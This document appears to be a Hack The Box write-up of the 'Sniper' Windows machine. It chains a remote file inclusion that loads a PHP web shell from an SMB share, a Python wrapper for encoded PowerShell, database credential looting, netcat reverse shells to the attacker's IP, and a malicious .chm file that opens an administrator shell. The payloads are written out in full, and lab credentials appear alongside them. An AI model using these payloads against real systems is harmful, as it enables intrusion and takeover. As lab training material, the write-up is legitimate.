HTB - Windows Sniper
HTB - Windows Sniper
Box about Local and Remote File Inclusion on a IIS
server, exploited through an exploit hosted on a remote smb share. Port forwarding to access WinRM service from our machine. The privilege escalation consisted to abuse .chm
files read by the administrator (CVE-2019-9896
).
nodody - IUSR
NNNNN-map
$ nmap -sS -sV -sC -p- -T4 -vvv -oN nmap.txt 10.10.10.151
Nmap scan report for 10.10.10.151
Host is up, received echo-reply ttl 127 (0.11s latency).
Scanned at 2020-01-21 22:11:46 CET for 225s
Not shown: 65530 filtered ports
Reason: 65530 no-responses
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Sniper Co.
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
445/tcp open microsoft-ds? syn-ack ttl 127
49667/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 8h00m38s
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 64106/tcp): CLEAN (Timeout)
| Check 2 (port 18459/tcp): CLEAN (Timeout)
| Check 3 (port 51336/udp): CLEAN (Timeout)
| Check 4 (port 50926/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2020-01-22T05:15:31
|_ start_date: N/A
Two interesting services :
Microsoft-IIS/10.0
on80
SMB
as usual
I quickly checked smb and found nothing on the share so I focused on the web server. Just by browsing we find 2 interesting files :
On the first one you can sign up and login but nothing once logged. I didn’t fuzz the input and switched on the second one which seems interesting for LFI / RFI. Quicker than me, my burp scan found a LFI with this parameter.
$ http "http://10.10.10.151/blog/?lang=\windows\system32\drivers\etc\hosts"
HTTP/1.1 200 OK
Content-Length: 2187
Content-Type: text/html; charset=UTF-8
Date: Tue, 28 Jan 2020 18:35:39 GMT
Server: Microsoft-IIS/10.0
X-Powered-By: PHP/7.3.1
<html>
<body>
<!DOCTYPE html>
<html lang="en" >
<head>
<meta charset="UTF-8">
<title>Services blog</title>
<link rel="stylesheet" href="/blog/css/style.css">
</head>
<body>
<div id="main">
<div class="container">
<nav>
<div class="nav-fostrap">
<ul>
<li><a href="/">Home</a></li>
<li><a href="javascript:void(0)" >Language<span class="arrow-down"></span></a>
<ul class="dropdown">
<li><a href="/blog?lang=blog-en.php">English</a></li>
<li><a href="/blog?lang=blog-es.php">Spanish</a></li>
<li><a href="/blog?lang=blog-fr.php">French</a></li>
</ul>
</li>
<li><a href="javascript:void(0)" >Download<span class="arrow-down"></span></a>
<ul class="dropdown">
<li><a href="">Tools</a></li>
<li><a href="">Backlink</a></li>
</ul>
</li>
</ul>
</div>
<div class="nav-bg-fostrap">
<div class="navbar-fostrap"> <span></span> <span></span> <span></span> </div>
<a href="" class="title-mobile">Fostrap</a>
</div>
</nav>
</div>
</div>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.2.0/jquery.min.js"></script>
<script src="js/index.js"></script>
</body>
</html>
# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
# 102.54.94.97 rhino.acme.com # source server
# 38.25.63.10 x.acme.com # x client host
# localhost name resolution is handled within DNS itself.
# 127.0.0.1 localhost
# ::1 localhost
</body>
</html>
I then used the intruder to found other files with windows specific wordlist but found nothing. At least I create my own wordlist aggregating other one to make one bigger.
Checking how to exploit LFI on IIS, Windows env, I found this link :
The idea is to host a php file on our machine via a smb share and then to include this file with the RFI and get our php executed !
I tried to setup impacket smbserver.py
but it failed, I saw on the log a connection on my server but IIS was not fetching the file. I just made a bit of investigation through wireshark and I still don’t know why, but it’s about auth.
Never mind, I setup a native smb server like this
$ cat /etc/samba/smb.conf
[public]
path = /tmp/share
available = yes
public = yes
browsable = yes
read only = yes
guest ok = yes
$ systemctl start smb.service
And hosted the following file
<?php
function my_exec($cmd, $input='') {
$proc=proc_open($cmd, array(0=>array('pipe', 'r'), 1=>array('pipe', 'w'), 2=>array('pipe', 'w')), $pipes);
fwrite($pipes[0], $input);fclose($pipes[0]);
$stdout=stream_get_contents($pipes[1]);fclose($pipes[1]);
$stderr=stream_get_contents($pipes[2]);fclose($pipes[2]);
$rtn=proc_close($proc);
return array('stdout'=>$stdout,
'stderr'=>$stderr,
'return'=>$rtn
);
}
echo "XXXXXXX\n";
var_export(my_exec($_GET["cmd"]));
echo "\nXXXXXXX\n";
?>
I initially used a meterpreter one which give me a metasploit session however the shell was not usable, was killed very often and didn’t have the stderr output.
This gem found on https://www.php.net/manual/fr/function.system.php have stderr display which is very helpful for powershell idiots like me.
http "http://10.10.10.151/blog/?lang=\\\\10.10.14.15\\public\\exec.php&cmd=whoami"
HTTP/1.1 200 OK
Content-Length: 1471
Content-Type: text/html; charset=UTF-8
Date: Tue, 28 Jan 2020 17:48:24 GMT
Server: Microsoft-IIS/10.0
X-Powered-By: PHP/7.3.1
<html>
<body>
<!DOCTYPE html>
<html lang="en" >
<head>
<meta charset="UTF-8">
<title>Services blog</title>
<link rel="stylesheet" href="/blog/css/style.css">
</head>
<body>
<div id="main">
<div class="container">
<nav>
<div class="nav-fostrap">
<ul>
<li><a href="/">Home</a></li>
<li><a href="javascript:void(0)" >Language<span class="arrow-down"></span></a>
<ul class="dropdown">
<li><a href="/blog?lang=blog-en.php">English</a></li>
<li><a href="/blog?lang=blog-es.php">Spanish</a></li>
<li><a href="/blog?lang=blog-fr.php">French</a></li>
</ul>
</li>
<li><a href="javascript:void(0)" >Download<span class="arrow-down"></span></a>
<ul class="dropdown">
<li><a href="">Tools</a></li>
<li><a href="">Backlink</a></li>
</ul>
</li>
</ul>
</div>
<div class="nav-bg-fostrap">
<div class="navbar-fostrap"> <span></span> <span></span> <span></span> </div>
<a href="" class="title-mobile">Fostrap</a>
</div>
</nav>
</div>
</div>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.2.0/jquery.min.js"></script>
<script>
<script src="js/index.js"></script>
</body>
</html>
XXXXXXX
array (
'stdout' => 'iis apppool\\defaultapppool
',
'stderr' => '',
'return' => 0,
)
XXXXXXX
</body>
</html>
IUSR - Chris
So I wanted to have a real shell to pursue priv esc, I used netcat hosted on my machine like this
$ http "http://10.10.10.151/blog/?lang=\\\\10.10.14.15\\public\\exec.php&cmd=\\\\10.10.14.15\\public\\nc64.exe 10.10.14.15 4446"
But I got Access is denied
so I wrote a quick wrapper in python to have a better shell.
from requests import get
from re import findall, DOTALL
from base64 import b64encode
url = "http://10.10.10.151/blog/?lang=\\\\10.10.14.15\\public\\exec.php&cmd=powershell.exe -EncodedCommand {}"
cmd = "_"
while cmd != "":
cmd = b64encode(input("> ").encode("UTF-16LE")).decode("utf-8")
res = get(url.format(cmd))
print(findall(r"XXXXXXX\n(.*)XXXXXXX", res.text, DOTALL)[0])
I used the -EncodedCommand
of powershell in order to avoid special chars in the url which could bring more stupid errors. Now I could type my payload worrying about nothing.
Take note that the intended base64 encoded command has to be utf-16
encoded as all string on windows use this encoding. Otherwise the command won’t be understood.
We now have a nice shell and I started inspected the web application source code to find some loot in it.
$ rlwrap python xploit.py
> dir ..\user
array (
'stdout' => '
Directory: C:\\inetpub\\wwwroot\\user
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 4/11/2019 5:52 AM css
d----- 4/11/2019 5:23 AM fonts d----- 4/11/2019 5:23 AM images
d----- 4/11/2019 5:23 AM js
d----- 4/11/2019 5:23 AM vendor
-a---- 4/11/2019 5:15 PM 108 auth.php
-a---- 4/11/2019 10:51 AM 337 db.php
-a---- 4/11/2019 6:18 AM 4639 index.php
-a---- 4/11/2019 6:10 AM 6463 login.php
-a---- 4/8/2019 11:04 PM 148 logout.php
-a---- 10/1/2019 8:42 AM 7192 registration.php
-a---- 8/14/2019 10:35 PM 7004 registration_old123123123847.php
'
> type ..\user\db.php
array (
'stdout' => '<?php
// Enter your Host, username, password, database below.
// I left password empty because i do not set password on localhost.
$con = mysqli_connect("localhost","dbuser","36mEAhz/B8xQ~2VM","sniper");
// Check connection
if (mysqli_connect_errno())
{
echo "Failed to connect to MySQL: " . mysqli_connect_error();
}
?>
'
So we have some credz : dbuser:36mEAhz/B8xQ~2VM
for a mysql database. I didn’t see the port 3306 opened with the nmap scan so I checked if it was bind locally
$ > netstat -ano
array (
'stdout' => '
Active Connections
Proto Local Address Foreign Address State PID
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 916
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:3306 0.0.0.0:0 LISTENING 5764
TCP 0.0.0.0:5985 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:33060 0.0.0.0:0 LISTENING 5764
TCP 0.0.0.0:47001 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:49664 0.0.0.0:0 LISTENING 488
TCP 0.0.0.0:49665 0.0.0.0:0 LISTENING 1112
TCP 0.0.0.0:49666 0.0.0.0:0 LISTENING 1452
TCP 0.0.0.0:49667 0.0.0.0:0 LISTENING 2600
TCP 0.0.0.0:49668 0.0.0.0:0 LISTENING 628
TCP 0.0.0.0:49669 0.0.0.0:0 LISTENING 656
TCP 10.10.10.151:80 10.10.14.15:33204 ESTABLISHED 4
TCP 10.10.10.151:139 0.0.0.0:0 LISTENING 4
TCP 10.10.10.151:49706 10.10.14.15:445 ESTABLISHED 4
TCP 127.0.0.1:49673 127.0.0.1:49674 ESTABLISHED 5764
TCP 127.0.0.1:49674 127.0.0.1:49673 ESTABLISHED 5764
TCP [::]:80 [::]:0 LISTENING 4
TCP [::]:135 [::]:0 LISTENING 916
TCP [::]:445 [::]:0 LISTENING 4
TCP [::]:3306 [::]:0 LISTENING 5764
TCP [::]:5985 [::]:0 LISTENING 4
TCP [::]:33060 [::]:0 LISTENING 5764
TCP [::]:47001 [::]:0 LISTENING 4
TCP [::]:49664 [::]:0 LISTENING 488
TCP [::]:49665 [::]:0 LISTENING 1112
TCP [::]:49666 [::]:0 LISTENING 1452
TCP [::]:49667 [::]:0 LISTENING 2600
TCP [::]:49668 [::]:0 LISTENING 628
TCP [::]:49669 [::]:0 LISTENING 656
UDP 0.0.0.0:123 *:* 2800
UDP 0.0.0.0:500 *:* 2740
UDP 0.0.0.0:4500 *:* 2740
UDP 0.0.0.0:5353 *:* 1716
UDP 0.0.0.0:5355 *:* 1716
UDP 10.10.10.151:137 *:* 4
UDP 10.10.10.151:138 *:* 4
UDP 127.0.0.1:64602 *:* 3092
UDP [::]:123 *:* 2800
UDP [::]:500 *:* 2740
UDP [::]:4500 *:* 2740
UDP [::]:5353 *:* 1716
UDP [::]:5355 *:* 1716
It isn’t so I must be restricted by the firewall. I tried to use the portfwd
command in a meterpreter session but my mysql client couldn’t talk with the service with a strange error (I didn’t save the error message).
Remembering I have a php execution and I really know this bdd drivers I modified the db.php
to dump the database.
<?php
// Enter your Host, username, password, database below.
// I left password empty because i do not set password on localhost.
$con = mysqli_connect("localhost","dbuser","36mEAhz/B8xQ~2VM","sniper", 3306);
// Check connection
if (mysqli_connect_errno())
{
echo "Failed to connect to MySQL: " . mysqli_connect_error();
}
else {
// $r = $con->query("SELECT * FROM users");
$r = $con->query("SHOW TABLES;");
$res = $r->fetch_all(MYSQLI_ASSOC);
var_dump($res);
echo "done";
}
?>
output :
> SHOW TABLES
array(1) {
[0]=>
array(1) {
["Tables_in_sniper"]=>
string(5) "users"
}
}
> SELECT * FROM users
array(1) {
[0]=>
array(5) {
["id"]=>
string(1) "1"
["username"]=>
string(9) "superuser"
["email"]=>
string(15) "admin@sniper.co"
["password"]=>
string(32) "6e573c8b25e9168e0c61895d821a3d57"
["trn_date"]=>
string(19) "2019-04-11 22:45:36"
}
}
So we now have another set of credz (once the hash busted) : superuser:$uperpassw0rd
.
After inspecting the other php files, the web app seems pretty empty and the db was only hosting the previous information. So we have to move on.
Inspecting C:\users\
show us another user directory : Chris
and there is a directory named C:\Docs
but we don’t have the permissions to inspect it.
The nmap scan showed us there are no way to login using WinRM
however the netstat
command showed us that the service was enabled. We can verify it
PS > Test-WSMan
wsmid : http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd
ProtocolVersion : http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd
ProductVendor : Microsoft Corporation
ProductVersion : OS: 0.0.0 SP: 0.0 Stack: 3.0
We know the chris user and we have a set of password lets try them. We have 2 ways to do it :
port forwarding
Invoke-Command
Spoiler : the password of Chris was the password of the db and not the one found in it.
Port forwarding
In meterpreter session
And we can now connect with Evil-winrm
for example
$ evil-winrm -i localhost -u chris -p "36mEAhz/B8xQ~2VM"
Evil-WinRM shell v2.1
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Chris\Documents> whoami
sniper\chris
*Evil-WinRM* PS C:\Users\Chris\Documents> type ..\desktop\user.txt
21f4d0f29fc4dd867500c1ad716cf56e
Very nice and reliable solution but too easy :)
Invoke-Command
As we don’t have a “real” shell we can runas
but the Invoke-Command
from powershell allow us to execute command as an other user the following way :
$ rlwrap python xploit.py
> $u = 'SNIPER\\chris';$p = convertto-securestring '36mEAhz/B8xQ~2VM' -asplaintext -force;$cred=new-object -typename System.Management.Automation.PSCredential -argumentlist $u,$p;Invoke-Command -ScriptBlock {whoami} -Credential $cred -Computer localhost
array (
'stdout' => 'sniper\\chris
'
And to have a reverse shell
*Evil-WinRM* PS C:\Users\Chris\Documents> cp \\10.10.14.15\\public\nc64.exe .
*Evil-WinRM* PS C:\Users\Chris\Documents> .\nc64.exe 10.10.14.15 4444 -e powershell
We are now ready to priv esc.
Chris - Administrator
We can now browse C:\Docs
and there is only one interesting files, the other one is only a generic php manual.
PS C:\docs> type note.txt
Hi Chris,
Your php skillz suck. Contact yamitenshi so that he teaches you how to use it and after that fix the website as there are a lot of bugs on it. And I hope that you've prepared the documentation for our new app. Drop it here when you're done with it.
Regards,
Sniper CEO
I have been stuck here for a while as I only found theses instruction. My intuition was to drop something in it which would be opened or executed by the administrator but I had no clue about the file to use.
Then I remember I didn’t dig in the Chris directory.
PS C:\users\chris> gci -Recurse . | select fullname
FullName
--------
C:\users\chris\3D Objects
C:\users\chris\Contacts
C:\users\chris\Desktop
C:\users\chris\Documents
C:\users\chris\Downloads
C:\users\chris\Favorites
C:\users\chris\Links
C:\users\chris\Music
C:\users\chris\Pictures
C:\users\chris\Saved Games
C:\users\chris\Searches
C:\users\chris\Videos
C:\users\chris\Desktop\user.txt
C:\users\chris\Documents\nc.exe
C:\users\chris\Documents\nc64.exe
C:\users\chris\Downloads\instructions.chm
C:\users\chris\Favorites\Links
C:\users\chris\Favorites\Bing.url
C:\users\chris\Links\Desktop.lnk
C:\users\chris\Links\Downloads.lnk
There is C:\users\chris\Downloads\instructions.chm
which is Microsoft compiled HTML doc page. We can uncompress it to read it without GUI
PS C:\users\chris\downloads> hh -decompile here instructions.chm
PS C:\users\chris\downloads> dir
Directory: C:\users\chris\downloads
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 1/28/2020 2:28 PM here
-a---- 4/11/2019 8:36 AM 10462 instructions.chm
PS C:\users\chris\downloads> dir here
Directory: C:\users\chris\downloads\here
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 1/28/2020 2:28 PM 281 a.html
PS C:\users\chris\downloads> type here\a.html
<html>
<body>
<h1>Sniper Android App Documentation</h1>
<h2>Table of Contents</h2>
<p>Pff... This dumb CEO always makes me do all the shitty work. SMH!</p>
<p>I'm never completing this thing. Gonna leave this place next week. Hope someone snipes him.</p>
</body>
</html>
Mmh shitty boss but not more information for us. After reading some doc I found a way to execute command through theses files
Following the guide I build a .chm
file with the following payload
<html>
<title> PuTTY Help </title>
<head>
</head>
<body>
<OBJECT id=shortcut classid="clsid:52a2aaae-085d-4187-97ea-8c30db990436" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=",powershell.exe, -c c:\users\chris\documents\nc64.exe -e powershell 10.10.14.15 4445">
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
shortcut.Click();
</SCRIPT>
<h2 align=center> PuTTY CHM </h2>
<p><h3 align=center> Welcome! </h3></p>
</body>
</html>
The payload is very specific has I knew It worked thanks to previous test with sending ping to my machine
Once compiled I hosted the file on my smb server and copied in C:\Docs
, few second later I got the reverse shell !
rlwrap nc -lvp 4445
Listening on 0.0.0.0 4445
Connection received on 10.10.10.151 49827
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Windows\system32> whoami
whoami
sniper\administrator
PS C:\Windows\system32> type c:\users\administrator\desktop\root.txt
type c:\users\administrator\desktop\root.txt
5624caf363e2750e994f6be0b7436c15
root password : 5624caf363e2750e994f6be0b7436c15